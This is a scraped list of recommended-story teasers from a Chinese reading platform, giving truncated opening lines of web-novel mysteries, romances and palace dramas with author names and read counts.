  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,493评论 0 197
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,215评论 1 241
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,477评论 2 244
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 31,988评论 1 258
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,325评论 2 252
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 32,971评论 3 235
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,055评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,807评论 0 194
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,544评论 2 271
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,455评论 2 266

推荐阅读更多精彩内容